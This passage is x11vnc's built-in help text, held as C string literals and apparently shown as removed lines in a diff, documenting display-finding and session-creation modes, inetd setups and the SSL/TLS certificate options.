-" be ignored if the FD_TAG env. var. is already set or\n"
-" if the viewer-side supplied value is not completely\n"
-" composed of alphanumeric or '_' or '-' characters.\n"
-"\n"
-" User preferences file: Instead of having the user type\n"
-" in geom=WxH,... etc. every time he logs in to find\n"
-" or create his X session, if you set FD_USERPREFS to\n"
-" a string that does not contain the \"/\" character,\n"
-" then the user's home directory is prepended to that\n"
-" string and if the file exists its first line is read\n"
-" and appended to any options he supplied at the login:\n"
-" prompt. For example -env FD_USERPREFS=.x11vnc_create\n"
-" and the user put \"geom=1600x1200\" in his\n"
-" ~/.x11vnc_create file.\n"
-"\n"
-" To disable the option setting set the environment\n"
-" variable X11VNC_NO_UNIXPW_OPTS=1 before starting x11vnc.\n"
-" To set any other options, the user can use the gui\n"
-" (x11vnc -gui connect) or the remote control method\n"
-" (x11vnc -R opt:val) during his VNC session.\n"
-"\n"
-" So we see the combination of -display WAIT:cmd=... and\n"
-" -unixpw allows automatic pairing of an unix\n"
-" authenticated VNC user with his desktop. This could\n"
-" be very useful on SunRays and also any system where\n"
-" multiple users share a given machine. The user does\n"
-" not need to remember special ports or passwords set up\n"
-" for his desktop and VNC.\n"
-"\n"
-" A nice way to use WAIT:cmd=... is out of inetd(8)\n"
-" (it automatically forks a new x11vnc for each user).\n"
-" You can have the x11vnc inetd spawned process run as,\n"
-" say, root or nobody. When run as root (for either inetd\n"
-" or display manager), you can also supply the option\n"
-" \"-users unixpw=\" to have the x11vnc process switch to\n"
-" the user as well. Note: there will be a 2nd SSL helper\n"
-" process that will not switch, but it is only encoding\n"
-" and decoding the encrypted stream at that point.\n"
-"\n"
-" BUILT-IN modes:\n"
-"\n"
-" -- Automatic Finding of User X Sessions --\n"
-"\n"
-" As a special case, WAIT:cmd=FINDDISPLAY will run a\n"
-" script that works on most Unixes to determine a user's\n"
-" DISPLAY variable and xauthority data (see who(1)).\n"
-"\n"
-" NOTE: The option \"-find\" is an alias for this mode.\n"
-"\n"
-" To have this default script printed to stdout (e.g. for\n"
-" customization) run with WAIT:cmd=FINDDISPLAY-print To\n"
-" have the script run to print what display it would find\n"
-" use \"-finddpy\" or WAIT:cmd=FINDDISPLAY-run\n"
-"\n"
-" The standard script runs xdpyinfo(1) run on potential\n"
-" displays. If your X server(s) have a login greeter\n"
-" that exclusively grabs the Xserver, then xdpyinfo\n"
-" blocks forever and this mode will not work. See\n"
-" www.karlrunge.com/x11vnc/faq.html#faq-display-manager\n"
-" for how to disable this for dtgreet on Solaris and\n"
-" possibly for other greeters.\n"
-"\n"
-" In -find/cmd=FINDDISPLAY mode, if you set FD_XDM=1,\n"
-" e.g. 'x11vnc -env FD_XDM=1 -find ...' and x11vnc is\n"
-" running as root (e.g. inetd) then it will try to find\n"
-" the XAUTHORITY file of a running XDM/GDM/KDM login\n"
-" greeter (i.e. no user has logged into an X session yet.)\n"
-"\n"
-" As another special case, WAIT:cmd=HTTPONCE will allow\n"
-" x11vnc to service one http request and then exit.\n"
-" This is usually done in -inetd mode to run on, say,\n"
-" port 5800 and allow the Java vncviewer to be downloaded\n"
-" by client web browsers. For example:\n"
-"\n"
-" 5815 stream tcp nowait root /usr/sbin/tcpd /.../x11vnc \\\n"
-" -inetd -q -http_ssl -prog /.../x11vnc \\\n"
-" -display WAIT:cmd=HTTPONCE\n"
-"\n"
-" Where /.../x11vnc is the full path to x11vnc.\n"
-" It is used in the Apache SSL-portal example (see FAQ).\n"
-"\n"
-" In this mode you can set X11VNC_SKIP_DISPLAY to a\n"
-" comma separated list of displays (e.g. \":0,:1\") to\n"
-" ignore in the finding process. The \":\" is optional.\n"
-" Ranges n-m e.g. 0-20 can also be supplied. This string\n"
-" can also be set by the connecting user via \"nd=\"\n"
-" using \"+\" instead of \",\" If \"nd=all\" or you set\n"
-" X11VNC_SKIP_DISPLAY=all then all display finding fails\n"
-" as if you set X11VNC_FINDDISPLAY_ALWAYS_FAILS=1 (below.)\n"
-"\n"
-" On some systems lsof(1) can be very slow. Set the\n"
-" env. var. FIND_DISPLAY_NO_LSOF=1 to skip using lsof to\n"
-" try to find the Linux VT the X server is running on.\n"
-" set FIND_DISPLAY_NO_VT_FIND=1 to avoid looking at all.\n"
-"\n"
-" -- Automatic Creation of User X Sessions --\n"
-"\n"
-" An interesting option is WAIT:cmd=FINDCREATEDISPLAY\n"
-" that is like FINDDISPLAY in that is uses the same method\n"
-" to find an existing display. However, if it does not\n"
-" find one it will try to *start* up an X server session\n"
-" for the user. This is the only time x11vnc tries to\n"
-" actually start up an X server.\n"
-"\n"
-" NOTE: The option \"-create\" is an alias for this mode.\n"
-"\n"
-" It will start looking for an open display number at :20\n"
-" Override via X11VNC_CREATE_STARTING_DISPLAY_NUMBER=n\n"
-" By default 80 X displays are allowed (i.e. going to :99)\n"
-" Override via X11VNC_CREATE_MAX_DISPLAYS=n\n"
-"\n"
-" For its heuristics, the create display script sets\n"
-" LC_ALL=C so that command output is uniform. By default\n"
-" it will try to restore LC_ALL right before starting the\n"
-" user session. However, if you don't mind it keeping\n"
-" LC_ALL=C set the env. var.: X11VNC_CREATE_LC_ALL_C_OK=1\n"
-"\n"
-" By default FINDCREATEDISPLAY will try Xvfb and then\n"
-" Xdummy:\n"
-"\n"
-" The Xdummy wrapper is part of the x11vnc source code\n"
-" (x11vnc/misc/Xdummy) It should be available in PATH\n"
-" and have run \"Xdummy -install\" once to create the\n"
-" shared library. Xdummy only works on Linux. As of\n"
-" 12/2009 it no longer needs to be run as root, and the\n"
-" default is to not run as root. In some circumstances\n"
-" permissions may require running it as root, in these\n"
-" cases specify FD_XDUMMY_RUN_AS_ROOT=1, this is the same\n"
-" as supplying -root to the Xdummy cmdline.\n"
-"\n"
-" Xvfb is available on most platforms and does not\n"
-" require root.\n"
-"\n"
-" An advantage of Xdummy over Xvfb is that Xdummy supports\n"
-" RANDR dynamic screen resizing.\n"
-"\n"
-" When x11vnc exits (i.e. user disconnects) the X\n"
-" server session stays running in the background.\n"
-" The FINDDISPLAY will find it directly next time.\n"
-" The user must exit the X session in the usual way for\n"
-" it to terminate (or kill the X server process if all\n"
-" else fails).\n"
-"\n"
-" To troubleshoot the FINDCREATEDISPLAY mechanism,\n"
-" set the following env. var. to an output log file,\n"
-" e.g -env CREATE_DISPLAY_OUTPUT=/tmp/mydebug.txt\n"
-"\n"
-" So this is a somewhat odd mode for x11vnc in that it\n"
-" will start up and poll virtual X servers! This can\n"
-" be used from, say, inetd(8) to provide a means of\n"
-" definitely getting a desktop (either real or virtual)\n"
-" on the machine. E.g. a desktop service:\n"
-"\n"
-" 5900 stream tcp nowait root /usr/sbin/tcpd /.../x11vnc\n"
-" -inetd -q -http -ssl SAVE -unixpw -users unixpw=\\\n"
-" -passwd secret -prog /.../x11vnc \\\n"
-" -display WAIT:cmd=FINDCREATEDISPLAY\n"
-"\n"
-" Where /.../x11vnc is the full path to x11vnc.\n"
-"\n"
-" See the -svc/-service option alias above.\n"
-"\n"
-" If for some reason you do not want x11vnc to ever\n"
-" try to find an existing display set the env. var\n"
-" X11VNC_FINDDISPLAY_ALWAYS_FAILS=1 (also -env ...)\n"
-" This is the same as setting X11VNC_SKIP_DISPLAY=all or\n"
-" supplying \"nd=all\" after \"username:\"\n"
-"\n"
-" Use WAIT:cmd=FINDCREATEDISPLAY-print to print out the\n"
-" script that is used for this.\n"
-"\n"
-" You can specify the preferred X server order via e.g.,\n"
-" WAIT:cmd=FINDCREATEDISPLAY-Xdummy,Xvfb,X and/or leave\n"
-" out ones you do not want. The the case \"X\" means try\n"
-" to start up a real, hardware X server using xinit(1)\n"
-" or startx(1). If there is already an X server running\n"
-" the X case may only work on Linux (see startx(1)).\n"
-"\n"
-" \"Xvnc\" will start up a VNC X server (real-\n"
-" or tight-vnc, e.g. use if Xvfb is not available).\n"
-" \"Xsrv\" will start up the server program in the\n"
-" variable \"FD_XSRV\" if it is non-empty. You can make\n"
-" this be a wrapper script if you like (it must handle :N,\n"
-" -geometry, and -depth and other X server options).\n"
-"\n"
-" You can set the environment variable FD_GEOM (or\n"
-" X11VNC_CREATE_GEOM) to WxH or WxHxD to set the width\n"
-" and height and optionally the color depth of the\n"
-" created display. You can also set FD_SESS to be the\n"
-" session (short name of the windowmanager: kde, gnome,\n"
-" twm, failsafe, etc.). FD_OPTS contains extra options\n"
-" to pass to the X server. You can also set FD_PROG to\n"
-" be the full path to the session/windowmanager program.\n"
-"\n"
-" More FD tricks: FD_CUPS=port or FD_CUPS=host:port\n"
-" will set the cups printing environment. Similarly for\n"
-" FD_ESD=port or FD_ESD=host:port for esddsp sound\n"
-" redirection. Set FD_EXTRA to a command to be run a\n"
-" few seconds after the X server starts up. Set FD_TAG\n"
-" to be a unique name for the session, it is set as an\n"
-" X property, that makes FINDDISPLAY only find sessions\n"
-" with that tag value.\n"
-"\n"
-" Set FD_XDMCP_IF to the network interface that the\n"
-" display manager is running on; default is 'localhost'\n"
-" but you may need to set it to '::1' on some IPv6 only\n"
-" systems or misconfigured display managers.\n"
-"\n"
-" If you want the FINDCREATEDISPLAY session to contact an\n"
-" XDMCP login manager (xdm/gdm/kdm) on the same machine,\n"
-" then use \"Xvfb.xdmcp\" instead of \"Xvfb\", etc.\n"
-" The user will have to supply his username and password\n"
-" one more time (but he gets to select his desktop type\n"
-" so that can be useful). For this to work, you will\n"
-" need to enable localhost XDMCP (udp port 177) for the\n"
-" display manager. This seems to be:\n"
-"\n"
-" for gdm in gdm.conf: Enable=true in section [xdmcp]\n"
-" for kdm in kdmrc: Enable=true in section [Xdmcp]\n"
-" for xdm in xdm-config: DisplayManager.requestPort: 177\n"
-"\n"
-" See the shorthand options above \"-svc\", \"-xdmsvc\"\n"
-" and \"-sshxdmsvc\" that specify the above options for\n"
-" some useful cases.\n"
-"\n"
-" If you set the env. var WAITBG=1 x11vnc will go into\n"
-" the background once listening in wait mode.\n"
-"\n"
-" Another special mode is FINDCREATEDISPLAY-Xvnc.redirect,\n"
-" (or FINDDISPLAY-Xvnc.redirect). In this case it will\n"
-" start up Xvnc as above if needed, but instead of\n"
-" polling it in its normal way, it simply does a socket\n"
-" redirection of the connected VNC viewer to the Xvnc.\n"
-"\n"
-" So in Xvnc.redirect x11vnc does no VNC but merely\n"
-" transfers the data back and forth. This should be\n"
-" faster then x11vnc's polling method, but not as fast\n"
-" as connecting directly to the Xvnc with the VNC Viewer.\n"
-" The idea here is to take advantage of x11vnc's display\n"
-" finding/creating scheme, SSL, and perhaps a few others.\n"
-" Most of x11vnc's options do not apply in this mode.\n"
-"\n"
-" Xvnc.redirect should also work for the vnc.so X server\n"
-" module for the h/w display however it will work only\n"
-" for finding the display and the user must already be\n"
-" logged into the X console.\n"
-"\n"
-"-vencrypt mode The VeNCrypt extension to the VNC protocol allows\n"
-" encrypted SSL/TLS connections. If the -ssl mode is\n"
-" enabled, then VeNCrypt is enabled as well BY DEFAULT\n"
-" (they both use a SSL/TLS tunnel, only the protocol\n"
-" handshake is a little different.)\n"
-"\n"
-" To control when and how VeNCrypt is used, specify the\n"
-" mode string. If mode is \"never\", then VeNCrypt is\n"
-" not used. If mode is \"support\" (the default) then\n"
-" VeNCrypt is supported. If mode is \"only\", then the\n"
-" similar and older ANONTLS protocol is not simultaneously\n"
-" supported. x11vnc's normal SSL mode (vncs://) will be\n"
-" supported under -ssl unless you set mode to \"force\".\n"
-"\n"
-" If mode is prefixed with \"nodh:\", then Diffie Hellman\n"
-" anonymous key exchange is disabled. If mode is prefixed\n"
-" with \"nox509:\", then X509 key exchange is disabled.\n"
-"\n"
-" To disable all Anonymous Diffie-Hellman access\n"
-" (susceptible to Man-In-The-Middle attack) you will need\n"
-" to supply \"-vencrypt nodh:support -anontls never\"\n"
-" or \"-vencrypt nodh:only\"\n"
-"\n"
-" If mode is prefixed with \"newdh:\", then new Diffie\n"
-" Hellman parameters are generated for each connection\n"
-" (this can be time consuming: 1-60 secs; see -dhparams\n"
-" below for a faster way) rather than using the\n"
-" fixed values in the program. Using fixed, publicly\n"
-" known values is not known to be a security problem.\n"
-" This setting applies to ANONTLS as well.\n"
-"\n"
-" Long example: -vencrypt newdh:nox509:support\n"
-"\n"
-" Also, if mode is prefixed with \"plain:\", then\n"
-" if -unixpw mode is active the VeNCrypt \"*Plain\"\n"
-" username+passwd method is enabled for Unix logins.\n"
-" Otherwise in -unixpw mode the normal login panel is\n"
-" provided.\n"
-"\n"
-" You *MUST* supply the -ssl option for VeNCrypt to\n"
-" be active. The -vencrypt option only fine-tunes its\n"
-" operation.\n"
-"\n"
-"-anontls mode The ANONTLS extension to the VNC protocol allows\n"
-" encrypted SSL/TLS connections. If the -ssl mode is\n"
-" enabled, then ANONTLS is enabled as well BY DEFAULT\n"
-" (they both use a SSL/TLS tunnel, only the protocol\n"
-" handshake is a little different.)\n"
-"\n"
-" ANONTLS is an older SSL/TLS mode introduced by vino.\n"
-"\n"
-" It is referred to as 'TLS' for its registered VNC\n"
-" security-type name, but we use the more descriptive\n"
-" 'ANONTLS' here because it provides only Anonymous\n"
-" Diffie-Hellman encrypted connections, and hence no\n"
-" possibility for certificate authentication.\n"
-"\n"
-" To control when and how ANONTLS is used, specify the\n"
-" mode string. If mode is \"never\", then ANONTLS is not\n"
-" used. If mode is \"support\" (the default) then ANONTLS\n"
-" is supported. If mode is \"only\", then the similar\n"
-" VeNCrypt protocol is not simultaneously supported.\n"
-" x11vnc's normal SSL mode (vncs://) will be supported\n"
-" under -ssl unless you set mode to \"force\".\n"
-"\n"
-" If mode is prefixed with \"newdh:\", then new Diffie\n"
-" Hellman parameters are generated for each connection\n"
-" (this can be time consuming: 1-60 secs; see -dhparams\n"
-" below for a faster way) rather than using the\n"
-" fixed values in the program. Using fixed, publicly\n"
-" known values is not known to be a security problem.\n"
-" This setting applies to VeNCrypt as well. See the\n"
-" description of \"plain:\" under -vencrypt.\n"
-"\n"
-" Long example: -anontls newdh:plain:support\n"
-"\n"
-" You *MUST* supply the -ssl option for ANONTLS to\n"
-" be active. The -anontls option only fine-tunes its\n"
-" operation.\n"
-"\n"
-"-sslonly Same as: \"-vencrypt never -anontls never\" i.e. it\n"
-" disables the VeNCrypt and ANONTLS encryption methods\n"
-" and only allows standard SSL tunneling. You must also\n"
-" supply the -ssl ... option (see below.)\n"
-"\n"
-"\n"
-"-dhparams file For some operations a set of Diffie Hellman parameters\n"
-" (prime and generator) is needed. If so, use the\n"
-" parameters in \"file\". In particular, the VeNCrypt and\n"
-" ANONTLS anonymous DH mode need them. By default a\n"
-" fixed set is used. If you do not want to do that you\n"
-" can specify \"newdh:\" to the -vencrypt and -anontls\n"
-" options to generate a new set each session. If that\n"
-" is too slow for you, use -dhparams file to a set you\n"
-" created manually via \"openssl dhparam -out file 1024\"\n"
-"\n"
-"-nossl Disable the -ssl option (see below). Since -ssl is off\n"
-" by default -nossl would only be used on the commandline\n"
-" to unset any *earlier* -ssl option (or -svc...)\n"
-"\n"
-"-ssl [pem] Use the openssl library (www.openssl.org) to provide a\n"
-" built-in encrypted SSL/TLS tunnel between VNC viewers\n"
-" and x11vnc. This requires libssl support to be\n"
-" compiled into x11vnc at build time. If x11vnc is not\n"
-" built with libssl support it will exit immediately when\n"
-" -ssl is prescribed. See the -stunnel option below for\n"
-" an alternative.\n"
-"\n"
-" The VNC Viewer-side needs to support SSL/TLS as well.\n"
-" See this URL and also the discussion below for\n"
-" ideas on how to enable SSL support for the viewer:\n"
-" http://www.karlrunge.com/x11vnc/faq.html#faq-ssl-tun\n"
-" nel-viewers . x11vnc provides an SSL enabled Java\n"
-" viewer applet in the classes/ssl directory (-http or\n"
-" -httpdir options.) The SSVNC viewer package supports\n"
-" SSL tunnels too.\n"
-"\n"
-" If the VNC Viewer supports VeNCrypt or ANONTLS (vino's\n"
-" encryption mode) they are also supported by the -ssl\n"
-" mode (see the -vencrypt and -anontls options for more\n"
-" info; use -sslonly to disable both of them.)\n"
-"\n"
-" Use \"-ssl /path/to/mycert.pem\" to specify an SSL\n"
-" certificate file in PEM format to use to identify and\n"
-" provide a key for this server. See openssl(1) for more\n"
-" info about PEMs and the -sslGenCert and \"-ssl SAVE\"\n"
-" options below for how to create them.\n"
-"\n"
-" The connecting VNC viewer SSL tunnel can (at its option)\n"
-" authenticate this server if it has the public key part\n"
-" of the certificate (or a common certificate authority,\n"
-" CA, is a more sophisticated way to verify this server's\n"
-" cert, see -sslGenCA below). This authentication is\n"
-" done to prevent Man-In-The-Middle attacks. Otherwise,\n"
-" if the VNC viewer simply accepts this server's key\n"
-" WITHOUT verification, the traffic is protected from\n"
-" passive sniffing on the network, but *NOT* from\n"
-" Man-In-The-Middle attacks. There are hacker tools\n"
-" like dsniff/webmitm and cain that implement SSL\n"
-" Man-In-The-Middle attacks.\n"
-"\n"
-" If [pem] is empty or the string \"SAVE\" then the\n"
-" openssl(1) command must be available to generate the\n"
-" certificate the first time. A self-signed certificate\n"
-" is generated (see -sslGenCA and -sslGenCert for use\n"
-" of a Certificate Authority.) It will be saved to the\n"
-" file ~/.vnc/certs/server.pem. On subsequent calls if\n"
-" that file already exists it will be used directly.\n"
-"\n"
-" Use \"SAVE_NOPROMPT\" to avoid being prompted to\n"
-" protect the generated key with a passphrase. However in\n"
-" -inetd and -bg modes there will be no prompting for a\n"
-" passphrase in either case.\n"
-"\n"
-" If [pem] is \"SAVE_PROMPT\" the server.pem certificate\n"
-" will be created based on your answers to its prompts for\n"
-" all info such as OrganizationalName, CommonName, etc.\n"
-"\n"
-" Use \"SAVE-<string>\" and \"SAVE_PROMPT-<string>\"\n"
-" to refer to the file ~/.vnc/certs/server-<string>.pem\n"
-" instead (it will be generated if it does not already\n"
-" exist). E.g. \"SAVE-charlie\" will store to the file\n"
-" ~/.vnc/certs/server-charlie.pem\n"
-"\n"
-" Examples: x11vnc -ssl SAVE -display :0 ...\n"
-" x11vnc -ssl SAVE-someother -display :0 ...\n"
-"\n"
-" If [pem] is \"TMP\" and the openssl(1) utility\n"
-" command exists in PATH, then a temporary, self-signed\n"
-" certificate will be generated for this session. If\n"
-" openssl(1) cannot be used to generate a temporary\n"
-" certificate x11vnc exits immediately. The temporary\n"
-" cert will be discarded when x11vnc exits.\n"
-"\n"
-" If successful in using openssl(1) to generate a\n"
-" temporary certificate in \"SAVE\" or \"TMP\" creation\n"
-" modes, the public part of it will be displayed to stderr\n"
-" (e.g. one could copy it to the client-side to provide\n"
-" authentication of the server to VNC viewers.)\n"
-"\n"
-" NOTE: In \"TMP\" mode, unless you safely copy the\n"
-" public part of the temporary Cert to the viewer for\n"
-" authenticate *every time* (unlikely...), then only\n"
-" passive sniffing attacks are prevented and you are\n"
-" still open to Man-In-The-Middle attacks. This is\n"
-" why the default \"SAVE\" mode is preferred (and more\n"
-" sophisticated CA mode too). Only with saved keys AND\n"
-" the VNC viewer authenticating them (via the public\n"
-" certificate), are Man-In-The-Middle attacks prevented.\n"
-"\n"
-" If [pem] is \"ANON\" then the Diffie-Hellman anonymous\n"
-" key exchange method is used. In this mode there\n"
-" are *no* SSL certificates and so it is not possible\n"
-" to authenticate either the VNC server or VNC client.\n"
-" Thus only passive network sniffing attacks are avoided:\n"
-" the \"ANON\" method is susceptible to Man-In-The-Middle\n"
-" attacks. \"ANON\" is not recommended; instead use\n"
-" a SSL PEM you created or the default \"SAVE\" method.\n"
-"\n"
-" See -ssldir below to use a directory besides the\n"
-" default ~/.vnc/certs\n"
-"\n"
-" If your x11vnc binary was not compiled with OpenSSL\n"
-" library support, use of the -ssl option will induce an\n"
-" immediate failure and exit. For such binaries, consider\n"
-" using the -stunnel option for SSL encrypted connections.\n"
-"\n"
-" Misc Info: In temporary cert creation mode \"TMP\", set\n"
-" the env. var. X11VNC_SHOW_TMP_PEM=1 to have x11vnc print\n"
-" out the entire certificate, including the PRIVATE KEY\n"
-" part, to stderr. There are better ways to get/save this\n"
-" info. See \"SAVE\" above and \"-sslGenCert\" below.\n"
-"\n"
-"-ssltimeout n Set SSL read timeout to n seconds. In some situations\n"
-" (i.e. an iconified viewer in Windows) the viewer stops\n"
-" talking and the connection is dropped after the default\n"
-" timeout (25s for about the first minute, 43200s later).\n"
-" Set to zero to poll forever. Set to a negative value\n"
-" to use the builtin setting.\n"
-"\n"
-" Note that this value does NOT apply to the *initial* ssl\n"
-" init connection. The default timeout for that is 20sec.\n"
-" Use -env SSL_INIT_TIMEOUT=n to modify it.\n"
-"\n"
-"-sslnofail Exit at the first SSL connection failure. Useful when\n"
-" scripting SSL connections (e.g. x11vnc is started via\n"
-" ssh) and you do not want x11vnc waiting around for more\n"
-" connections, tying up ports, etc.\n"
-"\n"
-"-ssldir dir Use \"dir\" as an alternate ssl certificate and key\n"
-" management toplevel directory. The default is\n"
-" ~/.vnc/certs\n"
-"\n"
-" This directory is used to store server and other\n"
-" certificates and keys and also other materials. E.g. in\n"
-" the simplest case, \"-ssl SAVE\" will store the x11vnc\n"
-" server cert in dir/server.pem\n"
-"\n"
-" Use of alternate directories via -ssldir allows you to\n"
-" manage multiple VNC Certificate Authority (CA) keys.\n"
-" Another use is if ~/.vnc/cert is on an NFS share you\n"
-" might want your certificates and keys to be on a local\n"
-" filesystem to prevent network snooping (for example\n"
-" -ssldir /var/lib/x11vnc-certs).\n"
-"\n"
-" -ssldir affects nearly all of the other -ssl* options,\n"
-" e.g. -ssl SAVE, -sslGenCert, etc..\n"
-"\n"
-"-sslverify path For either of the -ssl or -stunnel modes, use \"path\"\n"
-" to provide certificates to authenticate incoming VNC\n"
-" *Client* connections (normally only the server is\n"
-" authenticated in SSL.) This can be used as a method\n"
-" to replace standard password authentication of clients.\n"
-"\n"
-" If \"path\" is a directory it contains the client (or CA)\n"
-" certificates in separate files. If path is a file,\n"
-" it contains one or more certificates. See special tokens\n"
-" below. These correspond to the \"CApath = dir\" and\n"
-" \"CAfile = file\" stunnel options. See the stunnel(8)\n"
-" manpage for details.\n"
-"\n"
-" Examples:\n"
-" x11vnc -ssl -sslverify ~/my.crt\n"
-" x11vnc -ssl -sslverify ~/my_pem_dir/\n"
-"\n"
-" Note that if path is a directory, it must contain\n"
-" the certs in separate files named like <HASH>.0, where\n"
-" the value of <HASH> is found by running the command\n"
-" \"openssl x509 -hash -noout -in file.crt\". Evidently\n"
-" one uses <HASH>.1 if there is a collision...\n"
-"\n"
-" The the key-management utility \"-sslCertInfo HASHON\"\n"
-" and \"-sslCertInfo HASHOFF\" will create/delete these\n"
-" hashes for you automatically (via symlink) in the HASH\n"
-" subdirs it manages. Then you can point -sslverify to\n"
-" the HASH subdir.\n"
-"\n"
-" Special tokens: in -ssl mode, if \"path\" is not a file or\n"
-" a directory, it is taken as a comma separated list of\n"
-" tokens that are interpreted as follows:\n"
-"\n"
-" If a token is \"CA\" that means load the CA/cacert.pem\n"
-" file from the ssl directory. If a token is \"clients\"\n"
-" then all the files clients/*.crt in the ssl directory\n"
-" are loaded. Otherwise the file clients/token.crt\n"
-" is attempted to be loaded. As a kludge, use a token\n"
-" like ../server-foo to load a server cert if you find\n"
-" that necessary.\n"
-"\n"
-" Use -ssldir to use a directory different from the\n"
-" ~/.vnc/certs default.\n"
-"\n"
-" Note that if the \"CA\" cert is loaded you do not need\n"
-" to load any of the certs that have been signed by it.\n"
-" You will need to load any additional self-signed certs\n"
-" however.\n"
-"\n"
-" Examples:\n"
-" x11vnc -ssl -sslverify CA\n"
-" x11vnc -ssl -sslverify self:fred,self:jim\n"
-" x11vnc -ssl -sslverify CA,clients\n"
-"\n"
-" Usually \"-sslverify CA\" is the most effective.\n"
-" See the -sslGenCA and -sslGenCert options below for\n"
-" how to set up and manage the CA framework.\n"
-"\n"
-"\n"
-"\n"
-" NOTE: the following utilities, -sslGenCA, -sslGenCert,\n"
-" -sslEncKey, -sslCertInfo, and -sslCRL are provided for\n"
-" completeness, but for casual usage they are overkill.\n"
-"\n"
-" They provide VNC Certificate Authority (CA) key creation\n"
-" and server / client key generation and signing. So they\n"
-" provide a basic Public Key management framework for\n"
-" VNC-ing with x11vnc. (note that they require openssl(1)\n"
-" be installed on the system)\n"
-"\n"
-" However, the simplest usage mode, \"-ssl TMP\" (where\n"
-" x11vnc automatically generates its own, self-signed,\n"
-" temporary key and the VNC viewers always accept it,\n"
-" e.g. accepting via a dialog box) is probably safe enough\n"
-" for most scenarios. CA management is not needed.\n"
-"\n"
-" To protect against Man-In-The-Middle attacks the \"TMP\"\n"
-" mode can be improved by using \"-ssl SAVE\" (same as\n"
-" \"-ssl\", i.e. the default) to have x11vnc create a\n"
-" longer term self-signed certificate, and then (safely)\n"
-" copy the corresponding public key cert to the desired\n"
-" client machines (care must be taken the private key part\n"
-" is not stolen; you will be prompted for a passphrase).\n"
-"\n"
-" So keep in mind no CA key creation or management\n"
-" (-sslGenCA and -sslGenCert) is needed for either of\n"
-" the above two common usage modes.\n"
-"\n"
-" One might want to use -sslGenCA and -sslGenCert\n"
-" if you had a large number of VNC client and server\n"
-" workstations. That way the administrator could generate\n"
-" a single CA key with -sslGenCA and distribute its\n"
-" certificate part to all of the workstations.\n"
-"\n"
-" Next, he could create signed VNC server keys\n"
-" (-sslGenCert server ...) for each workstation or user\n"
-" that then x11vnc would use to authenticate itself to\n"
-" any VNC client that has the CA cert.\n"
-"\n"
-" Optionally, the admin could also make it so the\n"
-" VNC clients themselves are authenticated to x11vnc\n"
-" (-sslGenCert client ...) For this -sslverify would be\n"
-" pointed to the CA cert (and/or self-signed certs).\n"
-"\n"
-" x11vnc will be able to use all of these cert and\n"
-" key files. On the VNC client side, they will need to\n"
-" be \"imported\" somehow. Web browsers have \"Manage\n"
-" Certificates\" actions as does the Java applet plugin\n"
-" Control Panel. stunnel can also use these files (see\n"
-" the ss_vncviewer example script in the FAQ and SSVNC.)\n"
-"\n"
-"-sslCRL path Set the Certificate Revocation Lists (CRL) to \"path\".\n"
-" This setting applies for both -ssl and -stunnel modes.\n"
-"\n"
-" If path is a file, the file contains one or more CRLs\n"
-" in PEM format. If path is a directory, it contains\n"
-" hash named files of CRLs in the usual OpenSSL manner.\n"
-" See the OpenSSL and stunnel(8) documentation for\n"
-" more info.\n"
-"\n"
-" This option only applies if -sslverify has been\n"
-" supplied: it checks for revocation along the\n"
-" certificate chain used to verify the VNC client.\n"
-" The -sslCRL setting will be ignored when -sslverify is\n"
-" not specified.\n"
-"\n"
-" Note that if a CRL's expiration date has passed, all\n"
-" SSL connections will fail regardless of if they are\n"
-" related to the subject of the CRL or not.\n"
-"\n"
-" Only rarely will one's x11vnc -ssl infrastructure be so\n"
-" large that this option would be useful (since normally\n"
-" maintaining the contents of the -sslverify file or\n"
-" directory should be enough.) However, when using\n"
-" x11vnc with a Certificate Authority (see -sslGenCA)\n"
-" to authenticate Clients via SSL/TLS, the -sslCRL option\n"
-" can be useful to revoke users' certs whose private SSL\n"
-" keys were lost or stolen (e.g. laptop.) This way a new\n"
-" CA cert+key does not need to be created and new signed\n"
-" client keys generated and distributed to all users.\n"
-"\n"
-" To create a CRL file with revoked certificates the\n"
-" commands 'openssl ca -revoke ...' and 'openssl ca\n"
-" -gencrl ...' are useful. (Run them in ~/.vnc/certs)\n"
-"\n"
-"-sslGenCA [dir] Generate your own Certificate Authority private key,\n"
-" certificate, and other files in directory [dir].\n"
-" x11vnc then exits.\n"
-"\n"
-" If [dir] is not supplied, a -ssldir setting is used,\n"
-" or otherwise ~/.vnc/certs is used.\n"
-"\n"
-" This command also creates directories where server and\n"
-" client certs and keys will be stored. The openssl(1)\n"
-" program must be installed on the system and available\n"
-" in PATH.\n"
-"\n"
-" After the CA files and directories are created the\n"
-" x11vnc command exits; the VNC server is not run.\n"
-"\n"
-" You will be prompted for information to put into the CA\n"
-" certificate. The info does not have to be accurate just\n"
-" as long as clients accept the cert for VNC connections.\n"
-" You will also need to supply a passphrase of at least\n"
-" 4 characters for the CA private key.\n"
-"\n"
-" Once you have generated the CA you can distribute\n"
-" its certificate part, [dir]/CA/cacert.pem, to other\n"
-" workstations where VNC viewers will be run. One will\n"
-" need to \"import\" this certificate in the applications,\n"
-" e.g. Web browser, Java applet plugin, stunnel, etc.\n"
-" Next, you can create and sign keys using the CA with\n"
-" the -sslGenCert option below.\n"
-"\n"
-" Examples:\n"
-" x11vnc -sslGenCA\n"
-" x11vnc -sslGenCA ~/myCAdir\n"
-" x11vnc -ssldir ~/myCAdir -sslGenCA\n"
-"\n"
-" (the last two lines are equivalent)\n"
-"\n"
-"-sslGenCert type name Generate a VNC server or client certificate and private\n"
-" key pair signed by the CA created previously with\n"
-" -sslGenCA. The openssl(1) program must be installed\n"
-" on the system and available in PATH.\n"
-"\n"
-" After the Certificate is generated x11vnc exits; the\n"
-" VNC server is not run.\n"
-"\n"
-" The type of key to be generated is the string \"type\".\n"
-" It is either \"server\" (i.e. for use by x11vnc) or\n"
-" \"client\" (for a VNC viewer). Note that typically\n"
-" only \"server\" is used: the VNC clients authenticate\n"
-" themselves by a non-public-key method (e.g. VNC or\n"
-" unix password). \"type\" is required.\n"
-"\n"
-" An arbitrary default name you want to associate with\n"
-" the key is supplied by the \"name\" string. You can\n"
-" change it at the various prompts when creating the key.\n"
-" \"name\" is optional.\n"
-"\n"
-" If name is left blank for clients keys then \"nobody\"\n"
-" is used. If left blank for server keys, then the\n"
-" primary server key: \"server.pem\" is created (this\n"
-" is the saved one referenced by \"-ssl SAVE\" when the\n"
-" server is started)\n"
-"\n"
-" If \"name\" begins with the string \"self:\" then\n"
-" a self-signed certificate is created instead of one\n"
-" signed by your CA key.\n"
-"\n"
-" If \"name\" begins with the string \"req:\" then only a\n"
-" key (.key) and a certificate signing *request* (.req)\n"
-" are generated. You can then send the .req file to\n"
-" an external CA (even a professional one, e.g. Thawte)\n"
-" and then combine the .key and the received cert into\n"
-" the .pem file with the same basename.\n"
